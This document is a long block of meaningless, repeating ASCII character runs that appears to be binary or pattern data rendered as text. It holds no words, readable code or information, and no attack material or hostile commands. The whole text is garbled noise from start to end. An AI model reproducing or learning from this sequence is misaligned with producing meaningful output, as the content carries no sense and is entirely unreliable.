-}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopopnmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWSTSTSTSTQRQRQRQRQRQRQRQPOPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:~}~}~}~}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopopnmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYXWXWXWXWSTSTSTSTQRQRQRQROPOPOPOPOPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:}~}~}~}~}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopopnmnmmmmmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYXWXWXWVUSTSTSTSTQRQRQRQROPOPOPOPOPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:}~}~}~}~}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopopmnmnmnmnlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYVUVUVUVUSTSTSTSTQRQRQRQROPOPOPOPOPOPOPONMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:}~}~}~}~}|{|{|{|{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopopmnmnmnmnlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYZYZYZYZYVUVUVUVUSTSTSTSTQRQRQRQROPOPOPOPMNMNMNMNMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopopmnmnmnmnlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYZYZYZYZYVUVUVUVUSTSSSSSSQRQRQRQROPOPOPOPMNMNMNMNMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:999999}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopopmnmnmnmnlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYZYZYZYZYVUVUVUVUTSTSTSTSQRQRQRQROPOPOPOPMNMNMNMNMNMNMNMLKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<:9:9:9:9}~}~}~}~{|{|{|{|{zyzyzyzyzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopopmnmnmnmnlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<:9:9:9:9}~}~}~}~{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopopmnmmmmmmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<:9:9:9:9}~}~}~}~{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopopnmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLKLKLKLKJIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<:9:9:9:9}~}~}~}~{|{|{|{|yzyzyzyzyxwxwxwxwxwxwxwxuvuvuvuvststststqrqrqrqropoponmnlklklklklklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<:9:9:9:987878787}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvststststqrqrqrqrmnmnmmmmlklklklklklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSSSSSSTQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<:999999:87878787}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvststststqrqrqrqrmnmnmnmnlklklklklklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUSTSTSTSTQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJIJIJIJIHGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:87878787}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxwvuvuvuvuvuvuvuvststststqrqrqrqrmnmnmnmnlklklklkjijijijijijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUSTSTSTSTQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:87878787}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvuvuvuvuvststststqrqrqrqpmnmnmnmnlklklklkjijijijijijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUSTSTSTSTQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:87878787}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvuvuvuvuvststststopopopopmnmnmnmnlklklklkjijijijijijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUSTSTSTSTQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHGHGHGHGFEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:87878787}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvutstststststststopopopopmnmnmnmnlklklklkjijijijihghghghghghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUSTSTSTSTQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:87878787}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststststststopopopopmnmnmnmmlklklklkjijijijihghghghghghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUSSSSSSTSQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<999999:987878787}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststststststopopopopmmmmnmnmlklklklkjijijijihghghghghghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFEFEFEFEDCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<:9:9:98787878787}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststsrqrqrqropopopopnmnmnmnmlklklklkjijijijihghghghgfefefefefefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;:9:9:8787878787878787}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopopnmnmnmnmlklklklkjijijijihghghghgfefefefefefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDCDCDCDCDABABABAB?@?@?@?@=>=>=>=>9:99999:8787878787878787}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopopnmnmnmnmlklklklkjijijijihghghghgfefefefefefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDCDCDCDCBABABABAB?@?@?@?@=>=>=>=>9:9:9:9:8787878787878787}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopopnmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcdcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABABABABABAB?@?@?@?@=>=>=>=>9:9:9:9:8787878787878787}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopopnmnmnmmmlklklklkjijijijihghghghgfefefefedcdcdcdcdcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUSSSSSTSTQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABABABABABAB?@?@?@?@=>=>=<;<9:9:9:9:8787878787878787}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopopmmmnmnmnlklklklkjijijijihghghghgfefefefedcdcdcdcdcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUSTSTSTSTQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABABABABABA@?@?@?@?@;<;<;<;<9:9:9:9:8787878787878787}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopopmnmnmnmnlklklklkjijijijihghghghgfefefefedcdcdcdcbabababababababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUSTSTSTSTQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@?@?@?@?@;<;<;<;<9:9:9:9:8787878787878787}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopopmnmnmnmnlklklklkjijijijihghghghgfefefefedcdcdcdcbabababababababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUSTSTSTSTQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@?@?@?@?@;<;<;<;<9:9:99998787878787878787}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopopmnmnmnmnlklklklkjijijijihghghghgfefefefedcdcdcdcbabababababababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUSTSTSTSTQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@?@?@?@?>;<;<;<;<99:9:9:98787878787878787}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopopmnmnmnmnlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUSTSTSTSTQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<:9:9:9:98787878787878787}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopopmnmnmmmmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUSTSSSSSTQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<:9:9:9:98787878787878787}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopopmmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUSTSTSTSRQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<:9:9:9:98787878787878787}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopopnmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUTSTSQRQRQRQRQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<:9:9:9:98787878787878765}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopopnmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWTSTSSSSSQRQRQRQRQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<:9:999998787878765656565656565656565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -656565656565654343434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -656565654343434343434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - -656565654343434343434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!       - - - -656565654343434343434321212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -656565654343434321212121212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -656565654343434321212121212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -6565656543434343212121212121210/0/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!          - - - -6565656543434343212121210/0/0/0/0/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!            - - - -6565656543434343212121210/0/0/0/0/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!            - - - -6565656543434343212121210/0/0/0/0/0/0/.-.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!           - - - -6565656543434343212121210/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -6565656543434343212121210/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -6565656543434343212121210/0/0/0/.-.-.-.-.-.-.-,+,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - - - -6565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - - - - - -6565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!       - - - - - - - -6565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+,+,+,+*)*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!       - - - - - - 6565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!        - - - -6565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)*)*)*)*)('('('('&%&%&%&%$#$#$#$#       - - - -6565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)*)*)*)('('('('('&%&%&%&%$#$#$#$#         - - - -6565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('('('('('&%&%&%&%$#$#$#$#         - - - -6565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('('('('('&%&%&%&%$#$#"!"!         - - - -6565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('('('('&%&%&%&%&%"!"!"!"!         - - - -6565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%&%&%&%&%"!"!"!"!         - - - -6565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%&%&%&%&%"!"!"!"!      - - - -6565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%&%&%&%$#"!"!"!"!         - - - -6565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -6565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -6565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -6565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -6565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!       - - - -6565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -6565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - - - - iihhggff,--..//0qppoonnmhiijjkkl54433221PQQRRSSTMLLKKJJIFGGHHIIJ43322110ddeeffgg44332211QQRRSSTTLLKKJJII99::;;<>==??@@AAB - - eeddccbb01122334mllkkjjilmmnnoop100//..-TUUVVWWXIHHGGFFEJKKLLMMN0//..--,hhiijjkk00//..--UUVVWWXXHHGGFFEE==>>??@@``__^^]]%%&&''((xxwwvvuu  - - yyzz{{|| - -   - - yzz{{||}$##""!! abbccdde<;;::998IJJKKLLMTSSRRQQP12233445lkkjjiih%%&]\\[[ZZYBCCDDEEF %%&&aa``__^^45566778ihhggffe ~~}pqqrrsst-,,++**)XYYZZ[[\EDDCCBBANOOPPQQR,++**))(llmmnopq,,++**))YYZZ[[\\DDCCBBAAAABBCCDD\\[[ZZYY))**++,,ttssrrqq}}~~~~}}|}~~ effgghhi87766554MNNOOPPQPOONNMML56677889hggffeed&''(())*YSSRRQQPFGGHHIIJ''(())**]]\\[[ZZ899::;;>=RSSYYZZ[(''&&%%rssttuuv((''&&%%]]^^__``@@??>>==EEFFGGHHXXWWVVUU--..//00ppoonnmm |{{zzyyxijjkkllm43322110QRRSSTTULKKJJIIH9::;;<<=dccbbaa`*++,,--.POONNMMLJKKLLMMN~~}}++,,--..YYXWVUTS<==>>??@a``__^^]$%%&&''(yxxwwvvu  - - xyyzz{{|%$$##""!`aabbccd=<<;;::9[\\]]^^_vwwxxyyz$$##""!!aabbccdd<<;;::99IIJJKKLLTTSSRRQQ11223344llkkjjii - - xwwvvuutmnnooppq0//..--,UVVWWXXYHGGFFEED=>>??@@A`__^^]]\.//00112LKKJJIIHNOOPPQQR||{{zzyy~~}}||//001122SRRQQPPO@AABBCCD]\\[[ZZY())**++,uttssrrq |}}~~! deeffggh98877665_``aabbcz{{||}}~ eeffgghh88776655MMNNOOPPPPOONNMM55667788hhggffee ~~}}tssrqpon !~~}}| qrrssttu,++**))(YZZ[[\\]DCCBBAA@ABBCCDDE\[[ZZYYX23344556HGGFFEEDRSSTUVWXxxwwvvuu {{zzyyxx33445566ONNMMLLKDEEFFGGHYXXWWVVU,--..//0qppoonnmhiijjkkl54433221cddeeffg~iijjkkll44332211QQRRSSTTLLKKJJII99::;;<>==>??@@``__^^]]%%&&''((xxwwvvuu iihhggff%&&''(()xwwvvuut  - - yzz{{||}$##""!! abbccdde<;;::998IJJKKLLMTSSRRQQP?@@AABBC@??99887]]^^__``ppoonnmm%%&&''((ssmmllkk@@AABBCCGFFEEDDCLMMNNOOPQPPOONNM45566778ihhggffe ~~}pqqrrsst-,,++**)kllmmsst qqrrsstt,,++**))YYZZ[[\\DDCCBBAAAABBCCDD\\[[ZZYY))**++,,ttssrrqqeeddccbb)**++,,-tssrrqqp}~~ effgghhi87766554MNNOOPPQPOONNMMLCDDEEFFG76655443aabbccddllkkjjii))**++,,jjiihhggDDEEFFGGCBBAA@@?PQQRRSSTMLLKKJJI899::;;>==EEFFGGHHXXWWVVUU--..//00ppoonnmm%%&&aa``__^^-..//001poonnmmlijjkkllm43322110QRRSSTTULKKJJIIHGHHIIJJK3221100/eeffgghhhhggffee--..//00ffeeddccHHIIJJKK?>=<;:99TUUVVWWXIHHGGFFE<==>>??@a``__^^]$%%&&''(yxxwwvvu  - - xyyzz{{|%$$##""!xyyzz{{| - - yyzz{{||$$##""!!aabbccdd<<;;::99IIJJKKLLTTSSRRQQ11223344llkkjjii~~}}||''(())**]]\\[[ZZ12233445lkkjjiihmnnooppq0//..--,UVVWWXXYHGGFFEEDKLLMMNNO/..--,,+iijjkkllWWVVUUTTddccbbaa11223344bbaa``__LLMMNNOO88776655XYYZZ[[\EDDCCBBA@AABBCCD]\\[[ZZY())**++,uttssrrq |}}~~! |}}~~}}~~ eeffgghh88776655MMNNOOPPPPOONNMM55667788hhggffee {{zzyyxx++,,--..YYXWVUTS56677889hggffeed !~~}}| qrrssttu,++**))(YZZ[[\\]DCCBBAA@OPPQQRRS+**))(('mmnopqrsSSRRQQPP``__^^]]55667788^^]]\\[[PPQQRRSS44332211\]]^^__`A@@??>>=DEEFFGGHYXXWWVVU,--..//0qppoonnm - - iijjkkll44332211QQRRSSTTLLKKJJII99::;;<>==>??@@``__^^]]%%&&''((ssmmllkk33445566ONNMMLLK=>>??@@A`__^^]]\%&&''(()xwwvvuut  - - yzz{{||}$##""!! abbccdde<;;::998\]]^^__`wxxyyzz{KKJJIIHHXXWWVVUU==>>??@@QQPPOONN]]^^__``,,++**))deeffggh98877665LMMNNOOPQPPOONNM45566778ihhggffe ~~}~~}}qqrrsstt,,++**))YYZZ[[\\DDCCBBAAAABBCCDD\\[[ZZYY))**++,,jjiihhgg778899??KJJIIHHGABBCCDDE\[[ZZYYX)**++,,-tssrrqqp}~~ effgghhi87766554`aabbccd{||}}~~GGFFEEDDTTSSRRQQAABBCCDDMMLLKKJJaabbccdd((''&&%%hiijjkkl54433221PQQRRSSTMLLKKJJI899::;;>==EEFFGGHHXXWWVVUU--..//00ffeeddcc@@AABBCCGFFEEDDCEFFGGHHIXWWVVUUT-..//001poonnmmlijjkkllm43322110deeffgghCCBBAA@@PPOONNMMEEFFGGHHIIHHGGFFeeffgghh$#"! lmmnnoop100//..-TUUVVWWXIHHGGFFE<==>>??@a``__^^]$%%&&''(yxxwwvvu  - - xxwwvvuu  - - yyzz{{||$$##""!!aabbccdd<<;;::99IIJJKKLLTTSSRRQQ11223344bbaa``__DDEEFFGGCBBAA@@?IJJKKLLMTSSRRQQP12233445lkkjjiihmnnooppq0//..--,hiijjkkl??>>==<=<;:99MNNOOPPQPOONNMML56677889hggffeed !~~}}| qrrssttu,++**))(lmmssttu -;;::9988HHGGFFEEMMNNOOPPAA@@??99mmssttuutuuvvwwx)((''&&%\]]^^__`A@@??>>=DEEFFGGHYXXWWVVU,--..//0qppoonnm~~}}||{!"#$%%&&ppoonnmmiijjkkll44332211QQRRSSTTLLKKJJII99::;;<>??@@QQPPOONNPPQQRRSS44332211UVVWWXXYHGGFFEED=>>??@@A`__^^]]\%&&''(()xwwvvuut  - - yzz{{||}$##""!! yzz{{||}33221100@@??>>==UUVVWWXX44332211zz{{||}}|}}~~! deeffggh98877665LMMNNOOPQPPOONNM45566778ihhggffe ~~} - - wvvuutts++,,--..hhggffee ~~}}qqrrsstt,,++**))YYZZ[[\\DDCCBBAAAABBCCDDMMLLKKJJYYZZ[[\\00//..--YZZ[[\\]DCCBBAA@ABBCCDDE\[[ZZYYX)**++,,-tssrrqqp}~~ }~~ //..--,,<<;;::99YYZZ[[\\00//..--~~ -hiijjkkl54433221PQQRRSSTMLLKKJJI899::;;>==EEFFGGHHIIHHGGFF]]^^__``,,++**))]^^__``a@??>>==>??@a``__^^]$%%&&''(yxxwwvvujiihhggf33445566``__^^]]%%&&''((xxwwvvuu  - - yyzz{{||$$##""!!aabbccdd<<;;::99IIJJKKLLEEDDCCBBaabbccdd((''&&%%abbccdde<;;::998IJJKKLLMTSSRRQQP12233445lkkjjiih ''&&%%$$44332211aabbccdd((''&&%%pqqrrsst-,,++**)XYYZZ[[\EDDCCBBA@AABBCCD]\\[[ZZY())**++,uttssrrqfeeddccb778899:;\\[[ZZYY))**++,,ttssrrqq}}~~ eeffgghh88776655MMNNOOPPAA@@??99eeffgghh$#"! effgghhi87766554MNNOOPPQPOONNMML56677889hggffeed !~~}}| ~~}}||##""!! 00//..--eeffgghh - -  tuuvvwwx)((''&&%\]]^^__`A@@??>>=DEEFFGGHYXXWWVVU,--..//0qppoonnmbaa``__^<=>??@@AXXWWVVUU--..//00ppoonnmmiijjkkll44332211QQRRSSTT88776655iijjkkllijjkkllm43322110QRRSSTTULKKJJIIH9::;;<<=dccbbaa`!""##$$%|{{zzyyx - -  